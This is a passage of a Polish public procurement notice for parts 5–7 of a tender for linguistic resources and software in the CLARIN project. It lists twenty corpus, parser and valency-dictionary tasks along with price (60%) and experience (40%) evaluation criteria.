zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 5</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 6</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania przedmiotu zamówienia, będący projektowanymi postanowieniami umowy w sprawie zamówienia publicznego, znajduje się we wzorze umowy, stanowiącym Załącznik nr 2 SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">48600000-4 - Pakiety oprogramowania dla baz danych i operacyjne</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">2 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Przy wyborze najkorzystniejszej oferty Zamawiający będzie się kierował następującymi kryteriami i wagami wyrażonymi w procentach:<br/>Kryteria oceny ofert i ich znaczenie (dotyczą każdego z zadań):<br/><br/>1.1.	Oferowana cena ogółem brutto za całość przedmiotu zamówienia (C) - 60%<br/>gdzie 1 % = 1 pkt<br/>Sposób obliczania wartości punktowej kryterium ceny:<br/>Wartość punktowa ceny wyliczana będzie według wzoru: <br/>(Cmin : Cn) x 60, gdzie: <br/>Cmin - najniższa cena ogółem brutto spośród ofert nieodrzuconych<br/>Cn - cena ogółem brutto ocenianej ofert<br/><br/>1.2.	Doświadczenie zawodowe osoby wskazanej do wykazu osób (D) - waga 40%</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie zawodowe osoby wskazanej do wykazu osób</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 7</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.	Przedmiotem zamówienia są zasoby programistyczne i lingwistyczne w ramach projektu „CLARIN – Wspólne Zasoby Językowe i Infrastruktura Technologiczna” finansowanego w ramach Programu Operacyjnego Inteligentny Rozwój 2014 – 2020, Priorytet IV: Zwiększenie potencjału naukowo-badawczego, Działanie 4.2: Rozwój nowoczesnej infrastruktury badawczej sektora nauki – zadania:<br/>–	zadanie nr 1 – Hybrydowy semantyczno-pragmatyczny model do interpretacji dialogu i struktury retorycznej tekstu – Rozszerzenie agenta dialogowego CLARIN-BIZ o dane językowe pochodzące z anotowanych dialogów – załącznik OPZ nr 3.1;<br/>–	zadanie nr 2 – Parser zależnościowy w postaci modułu współbieżnego potoku przetwarzania danych językowych – Konfiguracja i optymalizacja systemu COMBO umożliwiająca jego integrację z zależnymi narzędziami przetwarzania języka i infrastrukturą CLARIN – załącznik OPZ nr 3.2;<br/>–	zadanie nr 3 – Parser dyskursu – Weryfikacja anotacji morfosyntaktycznej PCC 1.5 w kontekście tagsetu obejmującego wyrażenia dyskursywne i metatekstowe – załącznik OPZ nr 3.3;<br/>–	zadanie nr 4 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-litewskich o objętości 1 mln słowoform polskich i litewskich łącznie, korekta anotacji zasobów litewskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-litewskiego do objętości 1,5 mln słowoform polskich i litewskich łącznie wraz z anotacją zasobów litewskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.4;<br/>–	zadanie nr 5 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko-litewski – Korekta zrównoleglenia zasobów polsko-rosyjskich o objętości 1 mln słowoform polskich i rosyjskich łącznie, korekta anotacji zasobów rosyjskojęzycznych o objętości 0,5 mln słowoform oraz rozbudowa korpusu polsko-rosyjskiego do objętości 1,5 mln słowoform polskich i rosyjskich łącznie wraz z anotacją zasobów rosyjskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.5;<br/>–	zadanie nr 6 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-bułgarskich o objętości 0,5 mln słowoform polskich i bułgarskich łącznie, korekta anotacji zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-bułgarskiego do objętości 1 mln słowoform polskich i bułgarskich łącznie wraz z anotacją zasobów bułgarskojęzycznych o objętości 0,25 mln słowoform – załącznik OPZ nr 3.6;<br/>–	zadanie nr 7 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Doprecyzowanie specyfikacji wielojęzycznych korpusów języków bałtyckich i słowiańskich (języki polski i słoweński) oraz utworzenie części korpusu polsko-słoweńskiego o objętości 0,5 mln słowoform polskich i słoweńskich łącznie – załącznik OPZ nr 3.7;<br/>–	zadanie nr 8 – Ręcznie anotowany korpus quasi-referencyjny polsko-rosyjski, polsko-bułgarski, polsko- litewski – Korekta zrównoleglenia zasobów polsko-ukraińskich o objętości 0,5 mln słowoform polskich i ukraińskich łącznie, korekta anotacji zasobów ukraińskojęzycznych o objętości 0,25 mln słowoform oraz rozbudowa korpusu polsko-ukraińskiego do objętości 0,75 mln słowoform polskich i ukraińskich łącznie wraz z anotacją zasobów ukraińskojęzycznych o objętości 0,125 mln słowoform – załącznik OPZ nr 3.8;<br/>–	zadanie nr 9 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Adama Mickiewicza w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.9;<br/>–	zadanie nr 10 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Zygmunta Krasińskiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.10;<br/>–	zadanie nr 11 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Cypriana Kamila Norwida w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.11;<br/>–	zadanie nr 12 – Opracowanie Korpusu Wieszczów – Włączenie różnorodnych genologicznie tekstów autorstwa Juliusza Słowackiego w obręb Korpusu Czterech Wieszczów wraz z ich ręczną korektą, modernizacją i strukturyzacją – załącznik OPZ nr 3.12;<br/>–	zadanie nr 13 – Parser dyskursu – Anotacja relacji metatekstowych i dyskursywnych PCC na potrzeby parsera dyskursu – teksty długie – załącznik OPZ nr 3.13;<br/>–	zadanie nr 14 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów przemieszczania przedmiotów oraz bezruchu (trwania, pozostawania w jednym miejscu) w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 25 ram – załącznik OPZ nr 3.14;<br/>–	zadanie nr 15 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów ruchu generycznego i samoistnego w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 80 ram – załącznik OPZ nr 3.15;<br/>–	zadanie nr 16 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów nadawania i odbioru komunikatów w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci - 75 ram – załącznik OPZ nr 3.16;<br/>–	zadanie nr 17 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów komunikacji wzajemnej w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 75 ram – załącznik OPZ nr 3.17;<br/>–	zadanie nr 18 – Zunifikowany słownik walencyjny Walenty wraz z system automatycznej unifikacji ram walencyjnych – Ręczna unifikacja ram Walentego z zakresu predykatów posiadania i zmiany posiadania w ramy zespolone, wraz z podpięciem adekwatnych jednostek Słowosieci – 50 ram – załącznik OPZ nr 3.18;<br/>–	zadanie nr 19 – Anotowany korpus wulgaryzmów – Akwizycja tekstów do korpusu wulgaryzmów – etap II – załącznik OPZ nr 3.19;<br/>–	zadanie nr 20 – Korpus Dyskursu Parlamentarnego – Implementacja aplikacji webowej do na korekty metadanych w Korpusie Dyskursu Parlamentarnego – załącznik OPZ nr 3.20.<br/>2.	Szczegółowy opis przedmiotu zamówienia znajduje się odpowiednio w Załączniku nr 3.1-3.20 do SWZ - OPZ.<br/>3.	Szczegółowy zakres wykonania 